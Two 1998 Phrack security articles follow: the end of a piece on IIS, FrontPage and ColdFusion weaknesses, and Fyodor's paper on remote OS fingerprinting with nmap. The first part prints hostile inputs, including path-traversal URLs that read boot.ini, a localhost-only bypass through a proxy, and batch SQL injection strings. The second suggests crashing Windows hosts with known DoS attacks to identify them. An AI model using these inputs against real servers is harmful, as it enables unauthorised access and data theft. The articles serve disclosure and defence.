So, all the parameters that are involved in (most) webbots are embedded in the HTML page themselves. Let's take an example from a corporate site that makes a very popular FTP suite (this is HTML code):

<!‑‑webbot BOT="GeneratedScript" endspan ‑‑>

<form method="POST" action="../_vti_bin/shtml.dll/downloads/ftp.html" name="FrontPage_Form1" webbot‑action="‑‑WEBBOT‑SELF‑‑"> <!‑‑webbot bot="SaveResults" u‑file="d:\us\product_downloads\download_log.csv" s‑format="TEXT/CSV" s‑label‑fields="FALSE" s‑builtin‑fields="Date Time" s‑form‑fields u‑confirmation‑url="../_confirmations/ftp.html" startspan ‑‑>

Notice that this site is saving the results to a file (and the fact that it has "d:\.." says that it is a Windows‑based server). But the more important part to notice is the 'u‑confirmation‑url' field. This page has a large form for you to fill in. When you submit it, what you entered is saved in the 'u‑file', and then you're redirected to 'u‑confirmation‑url'. Don't want to give all your personal information to them? Well, just go to 'u‑confirmation‑url'. In this case, this was a registration page for download of the eval. Since I got tired of filling out my information all the time, I now just go to the confirmation URL and download away, bypassing the form.

On a related note, if bot="SaveResults", and u‑file is in the web structure (which it happens to be a lot on virtually hosted accounts), you're able to view the contents of the file. For instance,

<!‑‑webbot bot="SaveResults"

u‑file="/_private/download.log"

s‑format="TEXT/TEXT" s‑form‑fields startspan ‑‑>

means you can go to htp://site/_private/download.log and view all the info

everyone else entered.

‑‑‑‑[ IIS 3.0 to IIS 4.0

There are several changes between IIS 3.0 and IIS 4.0. Sure, MMC is important and all, but there's something else even better: there are default associations made between certain file extensions and .DLLs. Let's look at a particular example...

In IIS 3.0, you'd administer the website by going to http://site/iisadmin/,

which would pop over to using /scripts/iisadmin/ism.dll, and routing the various .HTR files in that directory through itself. The .HTR files are relatively useless without ism.dll to process them, and ism.dll has hard‑coded authentication built into it.

Now, upgrade from IIS 3.0 to 4.0. You now administer your site through http://localhost:5416/. What about all those .HTRs in /scripts/iisadmin?

They're still there, unless you actually deleted them. And the problem? IIS 4.0 associates all .HTRs with a new and improved ism.dll, which contains no hard‑coded authentication. So now, whenever you request a .HTR file, IIS will happily process it for you, not caring about authentication. You can now use the .HTR files in /scripts/iisadmin to your liking. Kinda. None of them work, due to so many changes. EXCEPT FOR ONE: bdir.htr. bdir.htr seems to still be happy, and gladly shows you all the directories on any drive. You can navigate all the server's drives (and network mappings), but all you get to see is directories (no files). In case you're wondering, you can tell bdir.htr where to look by doing

/scripts/iisadmin/bdir.htr??<path>

ie:

/scripts/iisadmin/bdir.htr??d:\webs\

I haven't played with the other file extensions, but there's a half‑dozen or so that IIS will now happily process (the normal ones like .ASP, .IDC, .HTR, and other unfamiliar ones like .HTW, .IDQ, .IDA, .CER, etc).

‑‑‑‑[ Sample pages

While it's not a good idea to put included sample pages and applications on a public server, still many places do. IIS 4.0 includes a rather large and comprehensive demo site called 'Exploration Air', which employs many IIS 4.0 web technologies. An interesting feature is the 'How It Works' button on the bottom of every page, which takes you to a script that parses the pages code into colorful tags. This is a problem.

It uses the Scripting.FileSystemObject to request the page. Luckily, it will only let you use virtual paths; unfortunately, it allows the use of /../ to escape to higher directories, including up into the root directory. This allows it to open any file on the same drive. Using the .IDC bug above to determine where the file rests, you can determine if you can get to WinNT system files. You can also view the code of any page application (.ASP, .CFM, .IDC, etc). For example:

http://site/iissamples/exair/howitworks/codebrws.asp?source=/../../boot.ini

could show the Windows NT boot.ini file. It's used in the ExAir sample site, as shown above, and also the SDK, if installed, at http://site/iissamples/sdk/asp/docs/codebrws.asp

‑‑‑‑[ Cold Fusion app.server 3.1

Cold Fusion is a rather creative scripting language; it's a nice front end to ODBC database connections. But I wouldn't be mentioning it here if it didn't have any problems.

Like IIS 4.0, there's a few alarming things with the sample pages included with CF. One is the Expression Evaluator at:

http://site/cfdocs/expeval/eval.cfm

They have a security check. It calls check_ip.cfm, which allows access only from 127.0.0.1 (localhost). Bummer, we can't run raw code on the server. But, let's check out:

http://site/cfdocs/expeval/exprcalc.cfm

It still doesn't do us any good, because it still uses eval.cfm to process the expression(s) we enter. But, there's something more interesting: the expression calculator lets us save and load files of expressions to evaluate. And it just so happens that exprcalc.cfm is the form used to LOAD files. And it let's us load any file we want. For instance:

http://site/cfdocs/expeval/exprcalc.cfm?OpenFilePath=c:\boot.ini

will display the contents of boot.ini in the window. Just like the IIS codebrws.asp program, we can use it to look at any file we want. However, exprcalc.cfm lets us specify other drive letters, while codebrws.asp is limited to only the current drive.

‑‑‑‑[ Anonymous Mail

Very simply and quickly,

/cfdocs/expeval/sendmail.cfm?MailFrom=&MailTo=&Subject=&Message=

lets you send email. Not exactly a security breach, but not pleasant either. You must fill in the variable values.

‑‑‑‑[ Proxy Problems

This is an interesting problem brought about not only by CF, but possibly proxy software in general. CF includes an 'http client' application in

/cfdocs/examples/httpclient/mainframeset.cfm

which lets you type in an URL, and it will show you the HTML code in the bottom window. Now, let's say, remotely I try to administer the IIS 4.0 server that CF is running on by going to http://site:5416/. I get an error

stating I have to be local (127.0.0.1). Now, I go to the http‑client CF application on that same server. For the URL, I type "http://localhost:5416".

I get the correct page as the result. I have effectively bypassed the security check. Using GET commands in the CF http‑client application, I can administrate the server.

What's really interesting in theory is that applications like this, and proxys in general, can be used to abuse trust relationships and 'localhost only' security. It'd be interesting in hearing what other people find along this line. One example:

I surf to a company's firewall/web proxy from the 'outside'. I get an error stating 'Denied/Unauthorized Access'. I then request from their proxy 'GET http://localhost/'; and now I get the 'inside' web page with instructions

on how to use the proxy correctly to get out. Yes, there's obvious setup problems (allowing outside requests), but that's not the point...

‑‑‑‑[ ODBC and MS SQL server 6.5

Ok, topic change again. Since we've hit on web service and database stuff, let's roll with it. Onto ODBC and MS SQL server 6.5.

I worked with a fellow WT'er on this problem. He did the good thing and told Microsoft, and their answer was, well, hilarious. According to them, what you're about to read is not a problem, so don't worry about doing anything to stop it.

‑ WHAT'S THE PROBLEM? MS SQL server allows batch commands.

‑ WHAT'S THAT MEAN? I can do something like:

SELECT * FROM table WHERE x=1 SELECT * FROM table WHERE y=5

Exactly like that, and it'll work. It will return two record sets, with each set containing the results of the individual SELECT.

‑ WHAT'S THAT REALLY MEAN? People can possibly piggyback SQL commands into your statements. Let's say you have:

SELECT * FROM table WHERE x=%%criteria from webpage user%%

Now, what if %%criteria from webpage user%% was equal to:

SELECT * FROM sysobjects

It would translate to:

SELECT * FROM table WHERE x=1 SELECT * FROM sysobjects

which would be valid SQL and execute (both commands). But wait, there's more. Say you had:

SELECT * FROM table WHERE x=%%criteria%% AND y=5

If we used our above example, we'd get:

SELECT * FROM table WHERE x=1 SELECT * FROM sysobjects AND y=5

which isn't valid SQL, and won't work. Well, there's a comment indicator, which tells MS SQL server to just ignore the rest of the line. If criteria is "1 SELECT * FROM sysobjects ‑‑", then the '‑‑' causes the rest of the statement ("AND y=5") to be ignored.

‑ WHAT FILES OF MINE ARE AFFECTED? Well, ASP and IDC files are problematic. At least you can fix ASP files, but you're kinda stuck when it comes to IDCs.

‑ EXACTLY HOW ARE IDCs AFFECTED? Say we wanted to query a database of names=phone #s, where the user gives us a name, and we supply all the matching phone numbers. A Sql call like

SELECT * FROM phonetable WHERE NAME='namewewant'

would work. However, we need to dynamically specify "namewewant" to be the name the user does want. So, if we write the Sql statement:

SELECT * FROM phonetable WHERE NAME='%name%'

And in our HTML form, we have an input box called 'name'. If this .idc was called 'phone.idc', we'd call it:

http://site/phone.idc?name=rfp

The server would place "rfp" in place of %name%, and query the SQL server to select * where name='rfp'.

Now, stick more commands on the line. Executing our phone.idc from above like so:

phone.idc?name=rfp select * from table2

would lead to an expanded Sql query in the .idc to

SELECT * FROM phonetable WHERE name='rfp select * from table2'

Semi‑close, but the single quotes cause all of the stuff to be the selection criteria. What if we introduced OUR OWN single quote?

phone.idc?name=rfp' select * from table2 ‑‑

would be

SELECT * FROM phonetable WHERE name='rfp' select * from table2 ‑‑'

We need to add the comment to get rid of the trailing single quote. BUT... .idc's are smart...they will escape a single quote into two single quotes, which indicate a data single quote. I.e.

phone.idc?name=rfp' command

will become

SELECT * FROM phonetable WHERE name='rfp'' command'

And since two '' make one data ', the table will be queried for a column that matches:

"rfp' command"

Now wait, if .idc's protect against this, then why the hell am I wasting my breath? You see, they're still vulnerable. They suck when they secretly put an extra single quote into the SQL string. But....when you query numeric values, you don't use single quotes; single quotes are only for strings. So, lets's say we want to use our phone number database, but give a phone number, and look up the associated name. We'll also say that phone numbers are stored as long ints (numeric values), rather than strings, since we need a numeric entry for this example.

So, I want to know who has the phone number 5551212. A hardcoded SQL call would be

SELECT * FROM phonetable WHERE phone=5551212

And the variable version (in an .idc):

SELECT * FROM phonetable WHERE phone=%phonenum%

Whoa! No single quotes to worry about. Now we just do a simple:

phone.idc?phonenum=5551212 select * from table1

And that expands to

SELECT * FROM phonetable WHERE phone=5551212 select * from table1

‑ ARE THERE ANY .IDCs SOMEONE COULD USE AGAINST ME? Glad you asked. There's a file included with IIS 3.0 in the /scripts/tools directory, called ctss.idc, which has a SQL statement like:

CREATE TABLE %table% (...table defs...)

This is simple to exploit. Since you stuck with the inital 'CREATE TABLE', you must finish that to be a valid command. Giving a table name and a simple column definition will be sufficient. And then we tack on our command, and then a '‑‑' to ignore the rest of the table defs. So,

ctss.idc?table=craptable (f int) select * from table1 ‑‑

Would give us

CREATE TABLE craptable (f int) select * from table1 ‑‑ \ (...table defs...)

(However, with ctss.idc, you need to know the DSN, UID, and PWD beforehand... so you're somewhat safe)

‑ EXACTLY HOW ARE ASPs AFFECTED? Typical ADODB code looks something like:

<% SQLquery="SELECT * FROM phonetable"

Set Conn = Server.CreateObject("ADODB.Connection")

Conn.Open "DSN=websql;UID=sa;PWD=pwd;DATABASE=master"

Set rec = Server.CreateObject("ADODB.RecordSet") rec.ActiveConnection=Conn

rec.Open SQLquery %>

Which essentially performs a SELECT * FROM phonetable on the websql DSN, using user=sa, pwd=pwd, on database=master. Then you use fancy formating of 'rec' to display the output in ASP.

Well, let's take into account user supplied variables now.

<% SQLquery="SELECT * FROM phonetable WHERE name='" & _ request.querystring("name") & "'"

Set Conn = Server.CreateObject("ADODB.Connection")

Conn.Open "DSN=websql;UID=sa;PWD=pwd;DATABASE=master"

Set rec = Server.CreateObject("ADODB.RecordSet") rec.ActiveConnection=Conn

rec.Open SQLquery %>

So, now our variable "name" is stuck into the SQLquery string, between the two ' '. Guess what?! ASP doesn't care about single quotes. It won't be smart like an .IDC and put in the extra ' to make the command ' into a data '. So, what does the SQLquery string look like when we call it like phone.idc? Let's say the above is phone.asp:

phone.asp?name=rfp' select * from table1 ‑‑

Gives us SQLquery that is:

SELECT * FROM phonetable WHERE name='rfp' select * from table1 ‑‑'

Which works. No sweat.

I'm sure some interesting questions come to mind:

‑ BUT I DON'T KNOW THE DSN NAME, LOGIN NAME, OR PASSWORD! You don't need them. The developer of the page that contains the SQL will already take care of that. We're piggy‑backing SQL commands onto a command that will work (otherwise, the page/application wouldn't work normally anyway!). If the normal page can get to the SQL server through a firewall, VPN, etc, then so can this command. It can, and will, go wherever the normal pages/SQL can go.

‑ BUT I CAN'T VIEW THE SECOND RETURNED RECORDSET! Yes, this is a problem most of the time. Not too many applications are built assuming multiple recordset returns, so usually don't cooperate. But, let me just say there's a stored procedure in SQL that lets you email results of a command to anywhere....you don't need to see the results in your web browser.

‑ BUT WHAT GOOD IS RUNNING MORE SQL COMMANDS? My friend, my friend. Think bigger. Think better. Think stored procedures. I'm not going to include exploit examples, because that's not what this is about. This is simply to show that the problem exists.

‑ BUT WHAT IF THEY HAVE COMPLEX SQL COMMANDS? Yes, this can be tricky, but it's still possible. Think of it like writing a buffer overflow. ;‑) If we have:

SELECT * FROM table WHERE ((x=%%criteria) AND (y=5))

then we have parentheses to deal with. But still doable. The goal is to close out any open parentheses opened before the piggybacked SQL statement, and use ‑‑ (comment) to ignore anything after.

‑ HOW CAN I PROTECT MYSELF? Put quotes around every string taken from the web user that's used in your SQL statement, and also change any single quotes (') into double single quotes ('')‑‑this protects everything. In case of numeric criteria, check to see that the numeric string given back is, in fact, all numbers. And since you can't do any of the above in IDCs, switch to ASP. Don't allow access to any of the SQL servers extended procedures. Best of all, don't use raw SQL in your web applications; called custom stored procedures on the SQL server, and pass the web user's dynamic criteria as parameters.

Note: we've only had the time (and resources) to conduct batch SQL vulnerabilities against MS SQL server 6.5. We'd be interested in hearing from other people if other DB platforms (Oracle, Informix, etc) are also vulnerable.

‑‑‑‑[ Conclusion

Well, that about wraps it up for now. What are the morals to the above stories?

‑ Don't use sample files/applications on public/production servers. ‑ Don't use 'local‑host only' security, especially on proxys.

‑ Watch what exactly is changed when you upgrade.

‑ Don't assume user's input is ok for SQL queries.

In short, use your brain. Till next time, have fun.

rain.forest.puppy / [WT] rfpuppy@iname.com

Remote OS detection via TCP/IP Stack Fingerprinting

‑‑‑[ Phrack Magazine Volume 8, Issue 54 Dec 25th, 1998, article 09 of 12

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ Remote OS detection via TCP/IP Stack FingerPrinting

‑‑‑‑‑‑‑‑[ Fyodor <fyodor@dhp.com> (www.insecure.org) October 18, 1998

‑‑‑‑[ ABSTRACT

This paper discusses how to glean precious information about a host by querying its TCP/IP stack. I first present some of the "classical" methods of determining host OS which do not involve stack fingerprinting. Then I describe the current "state of the art" in stack fingerprinting tools. Next comes a description of many techniques for causing the remote host to leak information about itself. Finally I detail my (nmap) implementation of this, followed by a snapshot gained from nmap which discloses what OS is running on many popular Internet sites.

‑‑‑‑[ REASONS

I think the usefulness of determining what OS a system is running is pretty obvious, so I'll make this section short. One of the strongest examples of this usefulness is that many security holes are dependent on OS version. Let's say you are doing a penetration test and you find port 53 open. If this is a vulnerable version of Bind, you only get one chance to exploit it since a failed attempt will crash the daemon. With a good TCP/IP fingerprinter, you will quickly find that this machine is running 'Solaris 2.51' or 'Linux 2.0.35' and you can adjust your shellcode accordingly.

A worse possibility is someone scanning 500,000 hosts in advance to see what OS is running and what ports are open. Then when someone posts (say) a root hole in Sun's comsat daemon, our little cracker could grep his list for 'UDP/512' and 'Solaris 2.6' and he immediately has pages and pages of rootable boxes. It should be noted that this is SCRIPT KIDDIE behavior. You have demonstrated no skill and nobody is even remotely impressed that you were able to find some vulnerable .edu that had not patched the hole in time. Also, people will be even _less_ impressed if you use your newfound access to deface the department's web site with a self‑aggrandizing rant about how damn good you are and how stupid the sysadmins must be.

Another possible use is for social engineering. Lets say that you are scanning your target company and nmap reports a 'Datavoice TxPORT PRISM 3000 T1 CSU/DSU 6.22/2.06'. The hacker might now call up as 'Datavoice support' and discuss some issues about their PRISM 3000. "We are going to announce a security hole soon, but first we want all our current customers to install the patch ‑‑ I just mailed it to you..." Some naive administrators might assume that only an authorized engineer from Datavoice would know so much about their CSU/DSU.

Another potential use of this capability is evaluation of companies you may want to do business with. Before you choose a new ISP, scan them and see what equipment is in use. Those "$99/year" deals don't sound nearly so good when you find out they have crappy routers and offer PPP services off a bunch of Windows boxes.

‑‑‑‑[ CLASSICAL TECHNIQUES

Stack fingerprinting solves the problem of OS identification in a unique way. I think this technique holds the most promise, but there are currently many other solutions. Sadly, this is still one the most effective of those techniques:

playground~> telnet hpux.u‑aizu.ac.jp

Trying 163.143.103.12...

Connected to hpux.u‑aizu.ac.jp.

Escape character is '^]'.

HP‑UX hpux B.10.01 A 9000/715 (ttyp2)

login:

There is no point going to all this trouble of fingerprinting if the machine will blatantly announce to the world exactly what it is running! Sadly, many vendors ship _current_ systems with these kind of banners and many admins do not turn them off. Just because there are other ways to figure out what OS is running (such as fingerprinting), does not mean we should just announce our OS and architecture to every schmuck who tries to connect.

The problems with relying on this technique are that an increasing number of people are turning banners off, many systems don't give much information, and it is trivial for someone to "lie" in their banners. Nevertheless, banner reading is all you get for OS and OS Version checking if you spend thousands of dollars on the commercial ISS scanner. Download nmap or queso instead and save your money :).

Even if you turn off the banners, many applications will happily give away this kind of information when asked. For example lets look at an FTP server:

payfonez> telnet ftp.netscape.com 21

Trying 207.200.74.26...

Connected to ftp.netscape.com.

Escape character is '^]'.

220 ftp29 FTP server (UNIX(r) System V Release 4.0) ready.

SYST

215 UNIX Type: L8 Version: SUNOS

First of all, it gives us system details in its default banner. Then if we give the 'SYST' command it happily feeds back even more information.

If anon FTP is supported, we can often download /bin/ls or other binaries and determine what architecture it was built for.

Many other applications are too free with information. Take web servers for example:

playground> echo 'GET / HTTP/1.0\n' | nc hotbot.com 80 | egrep '^Server:' Server: Microsoft‑IIS/4.0

playground>

Hmmm ... I wonder what OS those lamers are running.

Other classic techniques include DNS host info records (rarely effective) and social engineering. If the machine is listening on 161/udp (snmp), you are almost guaranteed a bunch of detailed info using 'snmpwalk' from the CMU SNMP tools distribution and the 'public' community name.

‑‑‑‑[ CURRENT FINGERPRINTING PROGRAMS

Nmap is not the first OS recognition program to use TCP/IP fingerprinting. The common IRC spoofer sirc by Johan has included very rudimentary fingerprinting techniques since version 3 (or earlier). It attempts to place a host in the classes "Linux", "4.4BSD", "Win95", or "Unknown" using a few simple TCP flag tests.

Another such program is checkos, released publicly in January of this year by Shok of Team CodeZero in Confidence Remains High Issue #7. The fingerprinting techniques are exactly the same as SIRC, and even the _code_ is identical in many places. Checkos was privately available for a long time prior to the public release, so I have no idea who swiped code from whom. But neither seems to credit the other. One thing checkos does add is telnet banner checking, which is useful but has the problems described earlier.

Su1d also wrote an OS checking program. His is called SS and as of Version 3.11 it can identify 12 different OS types. I am somewhat partial to this one since he credits my nmap program for some of the networking code :).

Then there is queso. This program is the newest and it is a huge leap forward from the other programs. Not only do they introduce a couple new tests, but they were the first (that I have seen) to move the OS fingerprints _out_ of the code. The other scanners included code like:

/* from ss */

if ((flagsfour & TH_RST) && (flagsfour & TH_ACK) && (winfour == 0) && (flagsthree & TH_ACK)) reportos(argv[2],argv[3],"Livingston Portmaster ComOS");

Instead, queso moves this into a configuration file which obviously scales much better and makes adding an OS as easy as appending a few lines to a fingerprint file.

Queso was written by Savage, one of the fine folks at Apostols.org.

One problem with all the programs describe above is that they are very limited in the number of fingerprinting tests which limits the granularity of answers. I want to know more than just 'this machine is OpenBSD, FreeBSD, or NetBSD', I wish to know exactly which of those it is as well as some idea of the release version number. In the same way, I would rather see 'Solaris 2.6' than simply 'Solaris'. To achieve this response granularity, I worked on a number of fingerprinting techniques which are described in the next section.

‑‑‑‑[ FINGERPRINTING METHODOLOGY

There are many, many techniques which can be used to fingerprint networking stacks. Basically, you just look for things that differ among operating systems and write a probe for the difference. If you combine enough of these, you can narrow down the OS very tightly. For example nmap can reliably distinguish Solaris 2.4 vs. Solaris 2.5‑2.51 vs Solaris 2.6. It can also tell Linux kernel 2.0.30 from 2.0.31‑34 or 2.0.35. Here are some techniques:

The FIN probe ‑‑ Here we send a FIN packet (or any packet without an ACK or SYN flag) to an open port and wait for a response. The correct RFC793 behavior is to NOT respond, but many broken implementations such as MS Windows, BSDI, CISCO, HP/UX, MVS, and IRIX send a RESET back. Most current tools utilize this technique.

The BOGUS flag probe ‑‑ Queso is the first scanner I have seen to use this clever test. The idea is to set an undefined TCP "flag" ( 64 or 128) in the TCP header of a SYN packet. Linux boxes prior to 2.0.35 keep the flag set in their response. I have not found any other OS to have this bug. However, some operating systems seem to reset the connection when they get a SYN+BOGUS packet. This behavior could be useful in identifying them.

TCP ISN Sampling ‑‑ The idea here is to find patterns in the initial sequence numbers chosen by TCP implementations when responding to a connection request. These can be categorized in to many groups such as the traditional 64K (many old UNIX boxes), Random increments (newer versions of Solaris, IRIX, FreeBSD, Digital UNIX, Cray, and many others), True "random" (Linux 2.0.*, OpenVMS, newer AIX, etc). Windows boxes (and a few others) use a "time dependent" model where the ISN is incremented by a small fixed amount each time period. Needless to say, this is almost as easily defeated as the old 64K behavior. Of course my favorite technique is "constant". The machines ALWAYS use the exact same ISN :). I've seen this on some 3Com hubs (uses 0x803) and Apple LaserWriter printers (uses 0xC7001).

You can also subclass groups such as random incremental by computing variances, greatest common divisors, and other functions on the set of sequence numbers and the differences between the numbers.

It should be noted that ISN generation has important security implications. For more information on this, contact "security expert" Tsutomu "Shimmy" Shimomura at SDSC and ask him how he was owned. Nmap is the first program I have seen to use this for OS identification.

Don't Fragment bit ‑‑ Many operating systems are starting to set the IP "Don't Fragment" bit on some of the packets they send. This gives various performance benefits (though it can also be annoying ‑‑ this is why nmap fragmentation scans do not work from Solaris boxes). In any case, not all OS's do this and some do it in different cases, so by paying attention to this bit we can glean even more information about the target OS. I haven't seen this one before either.

TCP Initial Window ‑‑ This simply involves checking the window size on returned packets. Older scanners simply used a non‑zero window on a RST packet to mean "BSD 4.4 derived". Newer scanners such as queso and nmap keep track of the exact window since it is actually pretty constant by OS type. This test actually gives us a lot of information, since some operating systems can be uniquely identified by the window alone (for example, AIX is the only OS I have seen which uses 0x3F25). In their "completely rewritten" TCP stack for NT5, Microsoft uses 0x402E. Interestingly, that is exactly the number used by OpenBSD and FreeBSD.

ACK Value ‑‑ Although you would think this would be completely standard, implementations differ in what value they use for the ACK field in some cases. For example, lets say you send a FIN|PSH|URG to a closed TCP port. Most implementations will set the ACK to be the same as your initial sequence number, though Windows and some stupid printers will send your seq + 1. If you send a SYN|FIN|URG|PSH to an open port, Windows is very inconsistent. Sometimes it sends back your seq, other times it sends S++, and still other times is sends back a seemingly random value. One has to wonder what kind of code MS is writing that changes its mind like this.

ICMP Error Message Quenching ‑‑ Some (smart) operating systems follow the RFC 1812 suggestion to limit the rate at which various error messages are sent. For example, the Linux kernel (in net/ipv4/icmp.h) limits destination unreachable message generation to 80 per 4 seconds, with a 1/4 second penalty if that is exceeded. One way to test this is to send a bunch of packets to some random high UDP port and count the number of unreachables received. I have not seen this used before, and in fact I have not added this to nmap (except for use in UDP port scanning). This test would make the OS detection take a bit longer since you need to send a bunch of packets and wait for them to return. Also dealing with the possibility of packets dropped on the network would be a pain.

ICMP Message Quoting ‑‑ The RFCs specify that ICMP error messages quote some small amount of an ICMP message that causes various errors. For a port unreachable message, almost all implementations send only the required IP header + 8 bytes back. However, Solaris sends back a bit more and Linux sends back even more than that. The beauty with this is it allows nmap to recognize Linux and Solaris hosts even if they don't have any ports listening.

ICMP Error message echoing integrity ‑‑ I got this idea from something Theo De Raadt (lead OpenBSD developer) posted to comp.security.unix. As mentioned before, machines have to send back part of your original message along with a port unreachable error. Yet some machines tend to use your headers as 'scratch space' during initial processing and so they are a bit warped by the time you get them back. For example, AIX and BSDI send back an IP 'total length' field that is 20 bytes too high. Some BSDI, FreeBSD, OpenBSD, ULTRIX, and VAXen fuck up the IP ID that you sent them. While the checksum is going to change due to the changed TTL anyway, there are some machines (AIX, FreeBSD, etc.) which send back an inconsistent or 0 checksum. Same thing goes with the UDP checksum. All in all, nmap does nine different tests on the ICMP errors to sniff out subtle differences like these.

Type of Service ‑‑ For the ICMP port unreachable messages I look at the type of service (TOS) value of the packet sent back. Almost all implementations use 0 for this ICMP error although Linux uses 0xC0. This does not indicate one of the standard TOS values, but instead is part of the unused (AFAIK) precedence field. I do not know why this is set, but if they change to 0 we will be able to keep identifying the old versions _and_ we will be able to identify between old and new.

Fragmentation Handling ‑‑ This is a favorite technique of Thomas H. Ptacek of Secure Networks, Inc (now owned by a bunch of Windows users at NAI). This takes advantage of the fact that different implementations often handle overlapping IP fragments differently. Some will overwrite the old portions with the new, and in other cases the old stuff has precedence. There are many different probes you can use to determine how the packet was reassembled. I did not add this capability since I know of no portable way to send IP fragments (in particular, it is a bitch on Solaris). For more information on overlapping fragments, you can read their IDS paper (www.secnet.com).

TCP Options ‑‑ These are truly a gold mine in terms of leaking information. The beauty of these options is that:

1) They are generally optional (duh!) :) so not all hosts implement them.

2) You know if a host implements them by sending a query with an option set. The target generally show support of the option by setting it on the reply.

3) You can stuff a whole bunch of options on one packet to test everything at once.

Nmap sends these options along with almost every probe packet:

Window Scale=10; NOP; Max Segment Size = 265; Timestamp; End of Ops;

When you get your response, you take a look at which options were returned and thus are supported. Some operating systems such as recent FreeBSD boxes support all of the above, while others, such as Linux 2.0.X support very few. The latest Linux 2.1.x kernels do support all of the above. On the other hand, they are more vulnerable to TCP sequence prediction. Go figure.

Even if several operating systems support the same set of options, you can sometimes distinguish them by the _values_ of the options. For example, if you send a small MSS value to a Linux box, it will generally echo that MSS back to you. Other hosts will give you different values.

And even if you get the same set of supported options AND the same values, you can still differentiate via the _order_ that the options are given, and where padding is applied. For example Solaris returns 'NNTNWME' which means:

<no op><no op><timestamp><no op><window scale><echoed MSS>

While Linux 2.1.122 returns MENNTNW. Same options, same values, but different order!

I have not seen any other OS detection tools utilizes TCP options, but it is very useful.

There are a few other useful options I might probe for at some point, such as those that support T/TCP and selective acknowledgements.

Exploit Chronology ‑‑ Even with all the tests above, nmap is unable to distinguish between the TCP stacks of Win95, WinNT, or Win98. This is rather surprising, especially since Win98 came out about 4 years after Win95. You would think they would have bothered to improve the stack in some way (like supporting more TCP options) and so we would be able to detect the change and distinguish the operating systems. Unfortunately, this is not the case. The NT stack is apparently the same crappy stack they put into '95. And they didn't bother to upgrade it for '98.

But do not give up hope, for there is a solution. You can simply start with early Windows DOS attacks (Ping of Death, Winnuke, etc) and move up a little further to attacks such as Teardrop and Land. After each attack, ping them to see whether they have crashed. When you finally crash them, you will likely have narrowed what they are running down to one service pack or hotfix.

I have not added this functionality to nmap, although I must admit it is very tempting :).

SYN Flood Resistance ‑‑ Some operating systems will stop accepting new connections if you send too many forged SYN packets at them (forging the packets avoids trouble with your kernel resetting the connections). Many operating systems can only handle 8 packets. Recent Linux kernels (among other operating systems) allow various methods such as SYN cookies to prevent this from being a serious problem. Thus you can learn something about your target OS by sending 8 packets from a forged source to an open port and then testing whether you can establish a connection to that port yourself. This was not implemented in nmap since some people get upset when you SYN flood them. Even explaining that you were simply trying to determine what OS they are running might not help calm them.

‑‑‑‑[ NMAP IMPLEMENTATION AND RESULTS

I have created a reference implementation of the OS detection techniques mentioned above (except those I said were excluded). I have added this to my Nmap scanner which has the advantage that it already _knows_ what ports are open and closed for fingerprinting so you do not have to tell it. It is also portable among Linux, *BSD, and Solaris 2.51 and 2.6, and some other operating systems.

The new version of nmap reads a file filled with Fingerprint templates that follow a simple grammar. Here is an example:

FingerPrint IRIX 6.2 ‑ 6.4 # Thanks to Lamont Granquist TSeq(Class=i800)

T1(DF=N%W=C000|EF2A%ACK=S++%Flags=AS%Ops=MNWNNT) T2(Resp=Y%DF=N%W=0%ACK=S%Flags=AR%Ops=) T3(Resp=Y%DF=N%W=C000|EF2A%ACK=O%Flags=A%Ops=NNT) T4(DF=N%W=0%ACK=O%Flags=R%Ops=)

T5(DF=N%W=0%ACK=S++%Flags=AR%Ops=)

T6(DF=N%W=0%ACK=O%Flags=R%Ops=)

T7(DF=N%W=0%ACK=S%Flags=AR%Ops=) PU(DF=N%TOS=0%IPLEN=38%RIPTL=148%RID=E%RIPCK=E%UCK=E%ULEN=134%DAT=E)

Lets look at the first line (I'm adding '>' quote markers):

> FingerPrint IRIX 6.2 ‑ 6.3 # Thanks to Lamont Granquist

This simply says that the fingerprint covers IRIX versions 6.2 through 6.3 and the comment states that Lamont Granquist kindly sent me the IP addresses or fingerprints of the IRIX boxes tested.

> TSeq(Class=i800)

This means that ISN sampling put it in the "i800 class". This means that each new sequence number is a multiple of 800 greater than the last one.

> T1(DF=N%W=C000|EF2A%ACK=S++%Flags=AS%Ops=MNWNNT)

The test is named T1 (for test1, clever eh?). In this test we send a SYN packet with a bunch of TCP options to an open port. DF=N means that the "Don't fragment" bit of the response must not be set. W=C000|EF2A means that the window advertisement we received must be 0xC000 or EF2A. ACK=S++ means the acknowledgement we receive must be our initial sequence number plus 1. Flags = AS means the ACK and SYN flags were sent in the response. Ops = MNWNNT means the options in the response must be (in this order):

<MSS (not echoed)><NOP><Window scale><NOP><NOP><Timestamp>

> T2(Resp=Y%DF=N%W=0%ACK=S%Flags=AR%Ops=)

Test 2 involves a NULL with the same options to an open port. Resp=Y means we must get a response. Ops= means that there must not be any options included in the response packet. If we took out '%Ops=' entirely then any options sent would match.

> T3(Resp=Y%DF=N%W=400%ACK=S++%Flags=AS%Ops=M)

Test 3 is a SYN|FIN|URG|PSH w/options to an open port.

> T4(DF=N%W=0%ACK=O%Flags=R%Ops=)

This is an ACK to an open port. Note that we do not have a Resp= here. This means that lack of a response (such as the packet being dropped on the network or an evil firewall) will not disqualify a match as long as all the other tests match. We do this because virtually any OS will send a response, so a lack of response is generally an attribute of the network conditions and not the OS itself. We put the Resp tag in tests 2 and 3 because some operating systems _do_ drop those without responding.

> T5(DF=N%W=0%ACK=S++%Flags=AR%Ops=)

> T6(DF=N%W=0%ACK=O%Flags=R%Ops=)

> T7(DF=N%W=0%ACK=S%Flags=AR%Ops=)

These tests are a SYN, ACK, and FIN|PSH|URG, respectively, to a closed port. The same options as always are set. Of course this is all probably obvious given the descriptive names 'T5', 'T6', and 'T7' :).

> PU(DF=N%TOS=0%IPLEN=38%RIPTL=148%RID=E%RIPCK=E%UCK=E%ULEN=134%DAT=E)

This big sucker is the 'port unreachable' message test. You should recognize the DF=N by now. TOS=0 means that IP type of service field was 0. The next two fields give the (hex) values of the IP total length field of the message IP header and the total length given in the IP header they are echoing back to us. RID=E means the RID value we got back in the copy of our original UDP packet was expected (ie the same as we sent). RIPCK=E means they didn't fuck up the checksum (if they did, it would say RIPCK=F). UCK=E means the UDP checksum is also correct. Next comes the UDP length which was 0x134 and DAT=E means they echoed our UDP data correctly. Since most implementations (including this one) do not send any of our UDP data back, they get DAT=E by default.

The version of nmap with this functionality is currently in the 6th private beta cycle. It may be out by the time you read this in Phrack. Then again, it might not. See http://www.insecure.org/nmap/ for the latest version.

‑‑‑‑[ POPULAR SITE SNAPSHOTS

